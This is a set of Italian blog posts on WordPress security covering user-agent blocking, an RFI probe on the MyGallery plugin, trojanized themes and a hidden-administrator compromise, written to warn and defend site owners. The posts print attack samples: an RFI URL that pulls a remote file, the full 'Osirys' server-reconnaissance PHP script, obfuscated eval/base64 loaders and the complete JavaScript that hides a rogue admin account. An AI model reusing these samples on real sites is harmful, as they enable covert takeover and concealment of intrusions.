Articoli con tag Wordpress

Di classifiche e rantoli, parte II

Come promesso, ho iniziato ad indagare su come riprendere il controllo di come vengano usati i contenuti offerti in questo sito da innumerevoli “servizi di pubblica utilità”. Ho messo le virgolette perché ho la sensazione, ed alcuni fatti me ne danno ragione, che della pubblica utilità non gliene importi granché.

Il primo passo è stato di installare un sistema di rilevazione delle visite, che mi permette di scoprire chi, da dove e come accede al sito e soprattutto ai feed.

Ho appurato che molti visitatori automatizzati (crawler, robot e spider) non rispettano il contenuto del file robots.txt che, secondo le regole che dovrebbero rendere più civile la convivenza su Internet, dovrebbe indicare a questi visitatori automatizzati dove possono ficcare il naso e dove non possono. Certo, nessuno ne fa un obbligo, si tratta di autoregolarsi. Ma, visto appunto che le regole servono a chi non sa regolarsi, quando il totale disprezzo della proprietà altrui è evidente, si inizia a prendere provvedimenti forti.

Altro dato che per quanto mi riguarda è atteso, ma dovrebbe far saltare sulla sedia chi ignora le più elementari regole per la sicurezza del proprio sito/blog, è rappresentato dal numero di spider in cerca di rogne. In meno di venti ore di raccolta dei dati, su 495 crawler/spider che hanno visitato il sito, 192 contenevano nello User Agent la stringa “libwww-perl”. E il sistema colleziona solo chi accede a pagine “regolari” del sito, non cataloga ad esempio chi tenta di accedere alle pagine “private” (tipo quella di modifica dei temi, o quella di amministrazione, o a quella dei plugin), per cui il numero di accessi preludio ad una intrusione è molto più alto.

Per chi non ne fosse al corrente, gran parte dei mentecatti in cerca di siti da violare usa script fatti in Perl, un linguaggio nato con tutt’altro scopo. Quando uno script Perl accede ad un server web si identifica con quella stringa particolare, appunto “libwww-perl”.

I tentativi fatti da questi script vanno dalla semplice lettura del feed, al tentativo di leggere il file /etc/passwd, ad innumerevoli tentativi differenti di RFI. Ne ho già parlato, ed i principali bersagli sono plugin affetti da problemi di sicurezza.

Il passo successivo, sperimentale, è stato di aggiungere qualche riga al mio file .htaccess, queste per la precisione:


RewriteEngine  on
RewriteCond %{HTTP_USER_AGENT}   ^NomeSpider.*
RewriteRule .+   -   [F]

con il seguente effetto: se il sito viene visitato da qualcosa il cui user agent ha un identificativo che inizia con la stringa NomeSpider, il visitatore ottiene in risposta un 403-Forbidden al posto di qualsiasi pagina contenuta nel sito. In questo modo si chiude in faccia la porta in modo selettivo agli spider “maleducati”.

Naturalmente è una misura di poco valore, per il semplice fatto che un mentecatto competente può in pochi secondi cambiare la stringa identificativa del proprio spider, rendendo inefficace la misura, strategia che ho visto con i miei occhi in molti script “pronti per l’uso” reperiti in Rete per fare birbonate: in qualcuno lo user agent è una stringa casuale, in altri è scelto a caso fra stringhe di browser normali, quali Firefox, Konqueror, Internet Explorer, Safari e via così.

Lo stesso WordPress Autotest opera in questa maniera, per poter attirare in trappola il codice malevolo iniettato nei blog colpiti: si presenta con differenti user agent allo scopo di costringere il malware a rivelarsi.

In ogni caso la regola può essere fatta anche con l’indirizzo IP dello spider, e questo può essere molto più efficace: al visitatore non basta cambiare il proprio user agent, deve proprio cambiare punto di accesso alla Rete, cosa non proprio banale. Ma, sempre parlando di “libwww-perl”, gli indirizzi IP da cui provengono le scansioni sono quasi tutti di fornitori di accesso Internet a privati, tradotto: sono computer di “guidatori sopra la media” compromessi ed usati dal nostro amico mentecatto, o da un suo affine, sempre mentecatto. Quindi anche l’inserimento di un indirizzo IP è una misura poco efficace, se vogliamo contrastare un possibile attacco mirato a violare il sito. Rimane efficace per “educare” crawler e spider poco rispettosi, appartenenti a società sempre a caccia di informazioni di qualsiasi genere da rivendere.

Riguardo alle stranezze di una certa classifica, non sono l’unico ad avere delle perplessità.

Due parole ancora per spiegare meglio il mio punto di vista. Sulle classifiche ho cambiato idea, non ho nessun problema a dirlo. All’inizio pensavo che fossero uno strumento utile a far conoscere il proprio sito e soprattutto a raggiungere meglio i possibili interessati agli argomenti che tratto. A distanza di molto tempo (informaticamente parlando), il risultato è non solo deludente, ma è evidente il vantaggio di chi conosce i meccanismi della classifica (quale che sia) e di come si faccia di tutto per scalare posizioni usando tutti i trucchi possibili ed immaginabili per “dopare” la propria posizione. La responsabilità non è della classifica e di chi la gestisce, ma se di un responsabile avete bisogno, guardatevi allo specchio e chiedetevi se non sia ancora una volta il solito vizietto di voler fare i furbetti a tutti i costi per primeggiare con poca fatica.

Ritengo tutto ciò, nel mio specifico caso, lesivo della mia immagine e del mio lavoro. Per cui mi opporrò in ogni maniera ad essere incluso in classifiche che vengono abusate dagli stessi membri, al solo scopo di rimediare qualche click in più, in cambio di nulla.

Riferimenti

Tags: , , ,

Owned WordPress: ora tocca ai plugin

Ecco uno dei prossimi vettori di infezione dei blog basati su WordPress, dopo le versioni non aggiornate e i temi troianizzati. E non c’è di che stare allegri, proprio no.

L’antefatto

Il test per la verifica dei blog basati su WordPress ha un controllo per verificare ed eventualmente riportare tentativi di hacking. Non è che ci sia molto da bucare, ma visto che non sono onnisciente, meglio un controllo in più che uno in meno, tanto più che costa veramente poco in termini di risorse di elaborazione.

In breve, viene sia controllato l’URL inserito nella casella di testo, sia l’URL completo con cui viene invocato il test stesso, infine viene controllato se vi siano dati extra nella richiesta POST. Proprio il controllo dell’URL di invocazione del test sta segnalando da qualche settimana uno strano schema, ripetuto parecchie volte al giorno.

L’analisi

Il test viene chiamato con dati aggiuntivi nell’URL, associati ad un nome specifico, sempre quello. Lo user agent è sempre libwww-perl/5.805 (può cambiare la versione). L’URL ha questo schema:

http://server/file.php?myPath=http://altrosito/directory/file.txt??

Lo schema sembra proprio quello di un tentativo di RFI (Remote File Inclusion). Prelevando a mano il file che si tenta di includere si scopre questo:


<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }

echo "Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "0sirys was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

Questo codice PHP è innocuo: si limita a raccogliere informazioni sul server dove viene eseguito e riportarle in una semplice pagina HTML. Le informazioni che raccoglie sono: nome e versione del sistema operativo, nome del server, user con cui viene eseguito lo script PHP (lo stesso del web server), spazio disco. Qualcosa del genere:


0sirys was here ..
uname -a: Linux hawking 2.6.25.11-60.fc8 #1 SMP Mon Jul 21 02:06:29 EDT 2008 i686
os: Linux
id: uid=500(mario) gid=500(mario) gruppi=500(mario)
free: 148.28 Gb
used: 77.31 Gb
total: 225.59 Gb

i dati sono quelli che vengono fuori eseguendo lo script sul mio computer con il comando php -f script.php, usando l’interprete PHP-cli.

La vulnerabilità cercata è nel plugin MyGallery versione 1.2.x o precedenti, nello specifico questa documentata da Secunia vecchia di oltre un anno. La vulnerabilità è classificata come altamente critica, permettendo l’inclusione e l’esecuzione di file PHP presi ovunque semplicemente inserendoli nell’URL come viene fatto appunto nelle richieste che sto ricevendo e che ho mostrato sopra. Se viene verificato che il web server del sito esegue il codice iniettato, può eseguire qualsiasi codice PHP gli venga propinato.

Ho peraltro rilevato una stranezza: non viene selezionato un file specifico per il tentativo, ma vengono “provati” tutti quelli raggiungibili da un qualche link esplicito nel blog. Le cose sono due: o i bot attivi sono “stupidi”, o c’è qualcosa che non sappiamo. Nei principali motori di ricerca non vi è traccia di problemi relativi ad una inclusione tramite variabili myPath, salvo quello appena riportato con il plugin MyGallery.

Rischi e contromisure

Il rischio in questo momento è estremo: ci sono almeno tre differenti bot che cercano attivamente in Rete blog con il plugin installato nella versione vulnerabile, quindi avere il plugin non aggiornato significa trovarsi a breve col blog compromesso. In che modo e per fare cosa non è difficile da immaginare.

L’unica contromisura realmente efficace è aggiornare il plugin, o passare ad altro se l’aggiornamento non è possibile.

Conclusioni

Non dovrebbero essere molti i siti che fanno uso di questo plugin. Se il vostro blog ne fa uso, è proprio il caso di controllare se avete la versione vulnerabile e cambiare immediatamente.

Tags: , ,

A proposito di bilanci: WordPress autotest. Grazie, eh?

E’ passato un po’ di tempo dal rilascio del Test di contagio per WordPress, e stavo tirando le somme. Rilasciato il 5 giugno, è stato usato ad oggi oltre 1200 volte. Non ho contato quanti blog infetti ha trovato, sicuramente qualcuno.

Quello che è certo è che ha avuto una certa risonanza su vari siti e blog, primo fra tutti il gentilissimo Suzukimaruti, che ha avuto il coraggio (e credetemi ce ne vuole, visto il livello di boria che c’è in giro) di esporre in tutta sincerità i fatti, ammettendo di aver avuto un incidente di sicurezza, ed ha collaborato con me fornendomi i dettagli per rendere ancora più efficace il test di contagio.

Come lui altre persone, poche per la verità, che si sono offerte di passarmi tutto il contenuto del loro blog, codice e dump del database, affinché io potessi esaminarlo e creare non solo il test, ma anche tutta la documentazione che potete leggere su questo sito, a vostro beneficio. Persone a cui è stato assicurato l’anonimato, per motivi che dovrebbero essere lampanti. Per chi si domanda il perché, un suggerimento: boria (degli altri) e wannabe (acari della polvere).

Molti, di cui ho scoperto tramite query di Google e di altri motori di ricerca l’infezione al blog, quella vera, pericolosa, sono stati avvertiti da me personalmente, tramite e-mail o messaggi nel blog, ovviamente dotato di moderazione. Nel messaggio chiedevo se era possibile avere il codice del sito e, in seconda istanza, anche il dump del database, assicurando l’anonimato e chiedendo ovviamente l’autorizzazione alla pubblicazione di quanto avessi scoperto sul modo in cui era stato violato il blog. Pochissimi hanno risposto affermativamente. Una persona, gentilissima, mi ha anche offerto l’accesso diretto allo spazio in hosting, di cui mi avrebbe spedito le credenziali, per indagare sulla tecnica di intrusione e violazione del blog.
Gli altri che hanno risposto ho dovuto anche faticare per convincerli che stavo facendo loro un favore.

Ebbene sappino i signori che se hanno potuto pulire il proprio blog, e se hanno potuto verificarne l’integrità devono ringraziare queste persone che si sono offerte di rilasciare il codice del sito ed il contenuto del database per l’analisi. Loro è il merito, e grazie queste persone lor signori hanno potuto usare quanto messo a disposizione senza alcun onere in questo sito, sotto forma di test e documentazione. Avrei potuto chiedere dei backlink, cosa abbastanza comune nei blog. Nemmeno questo ho chiesto, non so che farmene.

Alcuni hanno equivocato lo scopo del test, confondendolo per un test di “infezione del tema di WordPress”, che è tutta un’altra cosa, come ho spiegato qui. Col risultato di far stare tranquillo chi ha un tema “troianizzato”, perché il test serve a tutt’altro. Eppure sulla pagina di test c’è spiegato di leggere la documentazione, e nelle avvertenze c’è scritto che non è un test per temi “troianizzati”. Anche su WordPress-it c’è spiegato chiaramente che non è un test per temi infetti, ma non basta. Evidentemente sono io che non riesco ad essere chiaro.

Tutti gli altri non hanno nemmeno ringraziato.

Ci sono ancora molti blog violati là fuori, ed ogni giorno se ne aggiungono altri, l’attacco è tutt’altro che terminato. Ogni volta che faccio una delle query con uno dei motori di ricerca escono nuovi blog, appena violati. Il codice usato per l’intrusione è in evoluzione rapida, e chi lo sviluppa è uno in gamba, non un cretino qualsiasi. Conosce a fondo PHP, Javascript, AJAX, WordPress, tutti i protocolli del web. Meglio di chiunque altro nei paraggi, molto meglio di me che ne so veramente poco. Lo scopo dell’intrusione è per il momento di fare solo spam, o di iniettare virus attraverso il browser ai visitatori, ma non è detto che rimanga quello. E se una volta violato ed aperto il vostro blog lo vendessero ad una organizzazione criminale dedita al phishing, o peggio?

Vi trovate “bannati” da google? Ossia del vostro sito non v’è più traccia in Google? Siete entrati nella lista di stopbadware.org? Technorati vi snobba? Avete un blog con WordPress in versione 2.3.3 o precedente? Allora siete già infetti, o state per diventarlo. Dalla scorsa settimana ad oggi almeno altri 5 blog italiani sono stati violati. Quelli che ho scoperto io, ma potrebbero essere molti di più.

Se arrivate qui condotti da una ricerca per “wordpress violato” o “wordpress compromesso”, basta leggere tutti gli articoli della categoria WordPress. Il link non lo metto, è qui a fianco nell’elenco delle categorie.

Essere colpiti o meno non è questione di popolarità o di “manico”: è solo fortuna. Ed essere colpiti è tutto meno che una vergogna.

Tant’è. Centinaia di e-mail spedite, il tempo impiegato per scriverle, per spiegare ad ogni vittima dell’intrusione dove guardare e come uscirne, col rischio di passare per un hacker cattivo, o un truffatore, e magari trovarmi anche una querela tra capo e collo. Il risultato? Ditemelo voi.

…forse era meglio non fare bilanci.

Tags: , ,

WordPress: bello il tuo tema! E’ un trojan?

Nonostante tutte le precauzioni che si possono pensare per proteggere il proprio blog, è facile commettere un errore, installando qualcosa di dubbia provenienza e aprendo una porta a sconosciuti, dritto dentro il nostro sito.

Basta andare in cerca di un tema, ad esempio utilizzando un motore di ricerca, con le parole chiave “free wordpress themes”, e si ottengono parecchi risultati. Ma, per quanto strano possa sembrare, sono proprio i siti da cui occorre diffidare. Ho fatto una breve indagine, prendendo un tema a caso da ognuno dei siti restituiti dalla ricerca, ed ho appurato quanto segue:

  • Tutti i temi sono copiati da quelli originali presenti nel sito themes.wordpress.net o dal sito del creatore del tema, di solito indicato con un link nel file footer.php all’interno del tema stesso. Nessuno dei temi è originale.
  • Tutti i temi scaricati e controllati contengono codice per fare cose certamente poco etiche. Ci sono molti temi contenenti codice offuscato che dopo essere stato “disoffuscato” rivela istruzioni per scaricare ed eseguire codice preso da siti non appartenenti a nessun circuito “ufficiale” di WordPress. In molti casi si tratta di siti cinesi. Altri temi contengono funzioni in PHP per inserire link spam nella home page del blog in cui vengono caricati. Notare che è una situazione molto diversa da quella dei siti WordPress violati. Più avanti mostrerò alcuni esempi del codice malevolo.
  • I siti da cui si scaricano i temi sono ben fatti e graficamente molto curati, a differenza di molti altri siti contraffatti. Questo trae in inganno e svia i sospetti.

Esempi di codice malevolo

In un tema, denominato Dragee (il link porta al sito originale), vi era una funzione in PHP, sepolta nel file functions.php, che apparentemente chiama un link per una sorta di contatore per le statistiche di utilizzo, ma esaminando meglio il codice, inserisce il contenuto letto dal sito remoto nella homepage del blog in cui il tema è installato. Ecco un esempio del contenuto inserito:


<div id="refl" style="display: none">
<a href="http://www.pokerando.com" hreflang="it"><b>il casino</b></a>
</div>

In altri temi il contenuto del file footer.php è stato totalmente sostituito da uno script PHP costituito da una sola istruzione:


eval(gzinflate(base64_decode('NdNHkptYA ....... r6+fH99/M/zzGw==')));

E’ un codice offuscato, che in realtà scarica da un altro sito un blocco di dati e lo esegue come codice PHP.

Un altro tema contiene:


<body><?php @eval(@base64_decode('aWYoJFIzN0MwMT ....... Y3MzVBQkMzMDkxNik7')); ?>

Nel tema originale vi è solo il tag body. Anche questo codice, una volta reso in chiaro, scarica qualcosa da un sito remoto e la esegue come codice PHP.

Un altro tema contiene un segmento simile di codice PHP, il cui risultato consiste in una coppia di link a un casinò online ed a una finanziaria, niente di particolare. Il fatto curioso è che il codice è offuscato con oltre 20 annidamenti di codice convertito con differenti metodi, ossia un eval(base64_decode(... che restituisce a sua volta un eval(gzinflate(str_rot13(base64_decode(... che ancora restituisce un eval(base64_decode(..., e via così.

Effetti sul blog

Tutti i temi che ho analizzato possiedono codice in qualche modo malevolo. In tutti i casi è nascosto, mascherato, offuscato o ricodificato, per renderne meno facile l’individuazione.

L’effetto è variabile. In qualche caso si limita ad inserire pochi link, presi da un altro sito, verosimilmente gestito da chi ha manomesso il tema. In molti altri casi viene effettuato un controllo sulla configurazione dell’interprete PHP nel blog in cui il tema è installato, e se questa lo permette scaricano qualcosa da altri server e la eseguono come codice PHP tramite un eval().

Nessuno dei temi analizzati, presi dal sito dell’autore, ossia dal sito originale, mostra codice contraffatto o malevolo.

Conclusioni e avvertenze

Installando uno di questi temi con trojan incluso, invitiamo a casa il nemico. Un blog su cui uno di questi è installato potrebbe essere controllato a piacimento da chi ha inserito il codice malevolo nei file del tema.

Prima di installare un tema scaricato chissà dove, sarebbe il caso di farlo controllare da una persona competente. Non esistono al momento strumenti di controllo automatizzati per verificare la presenza di un trojan in un tema di WordPress, come non esiste al momento uno strumento per controllare se il tema installato nel blog è colpito da questo problema: chi ha creato il trojan potrebbe aver già preso possesso del vostro blog ed aver nascosto le tracce della sua presenza.

Non esitate a cercare aiuto se non siete ferrati in materia: per la legge il blog è vostro e quello che ci appare dentro è sotto la vostra responsabilità, fino a prova contraria. Prova che non è affatto banale da trovare.

Tags: , , ,

WordPress: perché non basta l’aggiornamento

Anche se non appaiono nuovi articoli, non significa che stia con le mani in mano. Le indagini proseguono, e quando ho novità utili ecco un nuovo articolo.

Ho aggiunto una nuova categoria, denominata WordPress, per avere con un clic tutti gli articoli che trattano di questo software.

Andiamo al sodo: ho ricreato su una macchina virtuale l’intero contenuto di uno dei blog compromessi, sia il codice che il database, gentilmente messo a disposizione da una delle vittime delle recenti intrusioni.

In questo modo ho potuto verificare alcune delle ipotesi che avevo fatto osservando sia il codice dei siti che il contenuto dei database in mio possesso. La prima considerazione che mi viene a caldo è che questa gente non è per niente da sottovalutare. Conosce a fondo WordPress, ne conosce l’intimo funzionamento, ma non basta. Conosce PHP, conosce Javascript, conosce il DOM e tutte le tecniche di manipolazione dello stesso in pieno stile AJAX.

La prima ipotesi è che esista un utente amministratore invisibile dal pannello di gestione utenti di WordPress. Verificato che sul database esiste un utente dal nome WordPress, di livello amministratore, rimane da capire come mai sia invisibile. Esaminando meglio il database, il campo dove appare il real name relativo all’utente abusivo è insolitamente lungo. Eccone il contenuto, aggiustato per renderlo più leggibile:

...
<b id="user_superuser"><script language="JavaScript">
var setUserName = function(){
  try{
    // primo blocco
    var t=document.getElementById("user_superuser");
    while(t.nodeName!="TR"){
      t=t.parentNode;
    };
    t.parentNode.removeChild(t);

    // secondo blocco
    var tags = document.getElementsByTagName("H3");
    var s = " shown below";
    for (var i = 0; i < tags.length; i++) {
      var t=tags[i].innerHTML;
      var h=tags[i];
      if(t.indexOf(s)>0){
        s =(parseInt(t)-1)+s;
        h.removeChild(h.firstChild);
        t = document.createTextNode(s);
        h.appendChild(t);
      }
    }

    // terzo blocco
    var arr=document.getElementsByTagName("ul");
    for(var i in arr) if(arr[i].className=="subsubsub"){
      var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
      if(n[1]>0){
        var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
        arr[i].innerHTML=txt;
      }
    }
  }catch(e){};
};
addLoadEvent(setUserName);
</script> 

Il primo blocco cerca l’inizio della riga in cui è visualizzato l’utente abusivo nel pannello di gestione utenti, contenente anche il codice stesso, e la elimina dal DOM (t.parentNode.removeChild(t);).

Il secondo blocco si incarica di “aggiustare” il conteggio degli utenti visualizzati quando l’elenco viene “paginato” nelle versioni di WordPress dalla 2.1 in poi.

Il terzo blocco si incarica di modificare la visualizzazione nelle versioni dalla 2.5 in poi, dove in alto c’è il numero di amministratori fra parentesi. Infatti c’è una chiamata alla funzione Javascript replace che sostituisce la stringa “Administrator (n)” con la stringa “Administrator (n-1)”.

A parte l’ingegnosità del codice (che comunque ha i suoi difetti), il punto è che il codice è fatto per operare su tutte le versioni di WordPress, anche le più recenti. Il codice è incluso nel database, e non viene pulito da un normale upgrade, come ho verificato aggiornando la versione nella macchina virtuale.

Il risultato è che dopo una intrusione di questa categoria, pur avendo pulito il codice PHP da eventuali iniezioni di codice e file estranei ed a patto che l’aggiornamento sia avvenuto previa totale eliminazione della precedente installazione, non semplicemente soprascrivendo i file più vecchi, abbiamo un utente amministratore abusivo registrato nel blog, che può ancora operare indisturbato.

L’altra considerazione da fare, altrettanto inquietante, è che il codice mostrato prevede un aggiornamento alla versione 2.5.x di WordPress, quindi chi ha attaccato i blog ha tenuto in conto che WordPress poteva essere aggiornato dal proprietario, e ha predisposto le relative contromisure.

Il codice è efficace solo quando l’utente abusivo è visualizzato nella pagina, come quando gli utenti registrati sono pochi, e soprattutto se non si pone molta attenzione alle indicazioni. Basta chiedere di visualizzare gli utenti non amministratori che in WordPress 2.5.x l’indicazione del numero di amministratori sale magicamente di uno. Oppure cercare un utente che sicuramente non esiste, ed anche qui il numero di amministratori sale di uno, ad indicare che c’è qualcosa di sospetto.

Per verificare la presenza dell’utente abusivo si può anche esaminare il codice HTML della pagina: se all’interno della tabella con gli utenti c’è una delle righe che mostra il codice Javascript visto sopra, abbiamo un clandestino a bordo.

Altro sistema molto semplice, che funziona egregiamente con Firefox, è di disabilitare Javascript e ricaricare la pagina di gestione utenti: se l’utente abusivo c’è, appare immediatamente nella lista.

Ho avvertito i proprietari di cinque differenti blog, tre dei quali aggiornati a WordPress 2.5.1, del fatto che nascosti in alcuni post ci sono link che portano a siti che tentano di iniettare malware attraverso il browser. I blog non presentano nessuno dei comportamenti tipici dell’infezione, ma erano probabilmente infetti in precedenza, come mi ha confermato uno dei proprietari, l’unico che mi ha risposto. La mia ipotesi è che chi ha compromesso i blog in precedenza, una volta perso il controllo per l’aggiornamento da parte del proprietario, ha “svenduto” l’accesso amministratore ad altri, che lo stanno usando per inserire quei link invisibili in normali post del blog. Il proprietario del blog ovviamente non sospetta nulla, ed anzi sta tranquillo perché ha appena eseguito un aggiornamento.

Per ora chiudo qui. La raccomandazione è che in caso abbiate subito una intrusione di questa categoria, ponete molta attenzione al database, e controllare attentamente gli utenti presenti. Un trucco è quello di fare un backup del database, scaricarlo ed esaminarlo con un editor, cercando nella tabella wp_usermeta e wp_users. Però occorre che sappiate dove mettere le mani e cosa cercare, cosa non facile. Ovviamente, nel frattempo, chi ha creato questa pestilenza sta continuando a migliorarne il codice.

Riprendendo quanto detto nel titolo, l’aggiornamento non basta.

Gli articoli precedenti

Per chi vuole leggere tutta la storia, qui c’è l’elenco con tutti gli articoli che trattano dell’indagine sui blog violati:

Di seguito alcuni consigli per diminuire il rischio di essere colpiti, e cosa fare quando succede:

Tags: ,

Essere webmaster responsabili

La recente tempesta di blog compromessi per diffondere spam link nei motori di ricerca più diffusi (riferimenti: [1] [2] [3] [4] [5]) mi ha portato a fare alcune considerazioni, non tutte positive. Anzi.

Prosegui la lettura »

Tags: , , ,

WordPress: alziamo i deflettori!

Il titolo è ovviamente ad effetto. Dopo aver avuto fra le mani il codice di qualche sito compromesso, ho cominciato a pensare a qualcosa per impedire o mitigare l’effetto di un bug nel codice di WordPress tale da portare ad una intrusione ed all’iniezione di codice malevolo.

Nessuna pretesa di presentare la soluzione definitiva, anzi: chi si occupa di queste cose sa meglio di chiunque altro che ogni software ha innumerevoli modi per essere sovvertito nel funzionamento.

Andiamo con ordine.

L’Hosting

La prima linea di difesa è appunto il metodo di hosting, ossia dove e come è ospitato il nostro blog. Di solito abbiamo a disposizione uno spazio accessibile via FTP (o altri metodi a piacere), un database su MySQL ed un pannello di controllo. Il primo problema viene dal metodo con cui il corrispondente web server accede al nostro spazio: il web server altro non è che un programma che viene eseguito con un certo utente di sistema ed accede in lettura al nostro spazio per prendere i file e presentarli al resto del mondo. Alcuni fornitori adottano la corretta separazione di privilegi fra l’account con cui viene eseguito il web server e l’account con cui accediamo per modificare il nostro sito: il risultato è che i file da noi scritti non possono essere modificati dal web server. Tradotto, vuol dire che se un malintenzionato scopre una falla in WordPress e tenta di sfruttarla per modificare il codice stesso di WordPress, o di scrivere un file aggiuntivo fra quelli del sito, non ci riesce perché il web server ha accesso in sola lettura.

L’effetto collaterale è che alcune funzioni di WordPress non sono disponibili: la modifica dei temi e dei plugin, l’upload di file ed il backup del database su un file nel server. Queste funzioni richiedono appunto che il web server abbia accesso in scrittura e modifica a queste directory e file:

  • wp-content/themes/ e tutti i file presenti in essa per la modifica dei temi
  • wp-content/backup-xxx/ per i backup (se si ha il plugin installato ed attivo)
  • wp-content/uploads/ per i file caricati tramite il manager di WordPress
  • wp-content/plugins/ per i plugin.

Rendere di nuovo utilizzabili queste funzioni è piuttosto facile, al prezzo di diminuire la sicurezza di un po’: si modificano i permessi di accesso ai file ed alle directory interessate consentendo la modifica al web server. E’ pur vero che questa assegnazione può essere granulare, ossia possiamo decidere di permettere solo gli upload, ed assegnare i permessi giusti alla sola directory wp-content/uploads/.

Se invece, come purtroppo succede con alcuni servizi a basso costo, il web server accede con lo stesso account con cui accediamo noi, siamo di fronte ad un potenziale problema di sicurezza che rende molto facile l’attacco da parte di un malintenzionato in presenza di un bug in WordPress che permetta l’iniezione di codice e di file nel sito.
Questo perché il web server può essere costretto a modificare praticamente qualsiasi file fra quelli installati nel nostro sito, e niente glielo impedisce. Nell’altro caso invece, anche in presenza di un bug che permette l’iniezione di codice malevolo, l’operazione fallisce perché il web server non ha i permessi per scrivere o modificare file.

Queste sono le due casistiche che ci si trova di fronte. Nel secondo il rischio è molto maggiore e diventa difficile contrastarlo. Ma qualcosa si può fare. Vediamo.

Le misure minime

Partiamo da alcune impostazioni generali di WordPress:

  • Registrazione degli utenti: se non abbiamo particolari necessità di consentire l’accesso a chiunque voglia registrarsi, è meglio disabilitare la voce relativa alla registrazione aperta a tutti nel pannello di opzioni generali. Gran parte degli attacchi sono facilitati dalla possibilità di registrarsi. In parecchie vecchie versioni di WordPress c’era un bug che permetteva ad un utente registrato di elevare i propri privilegi, anche solo per alcune operazioni, ma tanto bastava ad aprire una breccia nelle difese. Quindi, se non serve, disabilitiamo. Da notare che non è una efficace misura contro lo spam, costringere gli utenti a registrarsi per commentare. Gli spammer non si fanno intimidire, mentre invece si scoraggiano i visitatori “onesti”. E lo spam passa lo stesso. E’ molto più efficace un plugin antispam o la moderazione dei commenti.
  • Cancelliamo i temi non utilizzati: anche quelli “di serie” con WordPress, accertando prima che i file non siano utilizzati dal tema corrente, naturalmente. Se dovesse servire, terremo di scorta il tema di default di WordPress e lo caricheremo sul sito se occorre. Questo perché i file dei temi sono comunque raggiungibili, anche se inutilizzati, ed il percorso per raggiungerli è noto, visto che è uguale per tutte le installazioni. Sono file PHP, quindi passibili di tutti i problemi di qualsiasi altro file PHP. A maggior ragione se il tema non è uno di quelli ufficiali. Potrebbe contenere errori sfruttabili da un malintenzionato, e data la minore diffusione del singolo tema rispetto a WordPress nel complesso, gli eventuali errori potrebbero passare inosservati per molto tempo, esponendo il nostro blog ad un rischio inaccettabile.
  • Cancelliamo i plugin non utilizzati: vale lo stesso discorso fatto per i temi. Anche i plugin sono file PHP, certamente più difficili da raggiungere, nel senso che se sono disabilitati non c’è modo di sapere dall’esterno se siano installati, quindi il lavoro per un malintenzionato è un po’ più difficile. Ma basta guardare quante volte parliamo nel blog stesso dei plugin e dei temi che stiamo provando per capire che troppo spesso l’informazione per il malintenzionato la forniamo noi stessi su un piatto d’argento…

Rinunciamo alla modifica del tema e dei plugin

Per operare su tema e plugin lavoreremo sempre su una copia locale nel nostro computer, per poi trasferire i file modificati sul server. E’ più laborioso ma infinitamente più sicuro. Senza trascurare il fatto di poter usare il nostro editor preferito per modificare i file PHP e CSS del tema o dei plugin.

Per impostare questa limitazione occorre togliere i permessi di scrittura al web server. Se siamo nell’ipotesi dell’utente dedicato differente dal nostro, basta impostare i permessi al valore ottale 0644 per i file e 0755 per le directory a partire da wp-content/plugins/ e wp-content/themes/, che significa: proprietario può leggere e scrivere, tutti gli altri solo leggere, invece dei classici 0666 e 0777 consigliati per abilitare la modifica dal pannello di amministrazione di WordPress.

Se invece siamo nel caso peggiore, quello del web server che accede con lo stesso nostro utente, le modifiche sono molto meno efficaci, anche se niente vieta di applicarle: occorre togliere del tutto il permesso di scrittura, anche a noi stessi, usando il valore ottale 0444 per i file e 0555 per le directory. E’ una misura molto meno efficace perché il permesso di scrittura può essere ripristinato dal proprietario del file o della directory, che in questo caso è l’utente con cui viene eseguito anche il web server: se un malintenzionato riesce ad accedere, può tentare di ripristinare il permesso attraverso un comando in PHP e da lì avere via libera. E’ comunque un ulteriore ostacolo, il che non guasta.

Disinnescare i file in upload

Questa è un po’ più complicata, e richiede l’uso di alcune funzioni del web server che potrebbero non essere abilitate. Si tratta di impedire che un file PHP inserito nella cartella di upload da un malintenzionato possa essere eseguito dall’esterno.

Se abbiamo la registrazione degli utenti inibita, siamo già a buon punto, e questa misura è in un certo senso superflua. Certo, se esistesse un bug così grande in WordPress da permettere l’upload di un file anche senza essere registrati, la prima directory che potrebbe essere utilizzata è proprio quella di upload: per definizione deve essere scrivibile dal web server. A questo punto, basta immaginare un file PHP inserito a bella posta che includa il file di configurazione e mostri utente e password del database, di seguito piazzare un file che permetta di modificare il database e includere un altro file, o se stesso, come plugin di WordPress. Il gioco è fatto.

Ebbene, se il nostro servizio di hosting lo permette è possibile disinnescare l’esecuzione di file PHP nella directory degli upload ed in tutte le sottodirectory, inserendo un file .htaccess nella directory di upload con una singola direttiva:


RemoveHandler .php

Il risultato è che un eventuale file PHP inserito in quella directory non viene interpretato, ma quando fosse invocato via browser verrebbe trattato come un file di testo semplice, e ne verrebbe mostrato il contenuto, ossia non verrebbe eseguito come script PHP.

Questo ovviamente è possibile solo se il servizio di hosting lo permette. Conoscendo il tipo di web server installato e le opzioni abilitate è possibile migliorare di parecchio la sicurezza di WordPress, naturalmente a prezzo di qualche disagio in più.

Conclusioni

Ci sarebbe molto da dire, ancora. Non ho volutamente trattato argomenti abbastanza inflazionati come sicurezza delle password, aggiornamenti di WordPress e spam in commenti e trackback. Certamente l’argomento non è a portata di principiante, come sempre occorre sapere cosa c’è “sotto il cofano”, ma non ci si improvvisa in queste cose. I centinaia di blog WordPress violati presenti in Rete, di cui sto faticosamente tentando di avvertire i proprietari, dimostrano che mentre scrivere in un blog è alla portata di chiunque, mantenere un blog non è proprio banale.

Riferimenti

Tags: , ,

Spam con WordPress: sempre più sofisticato

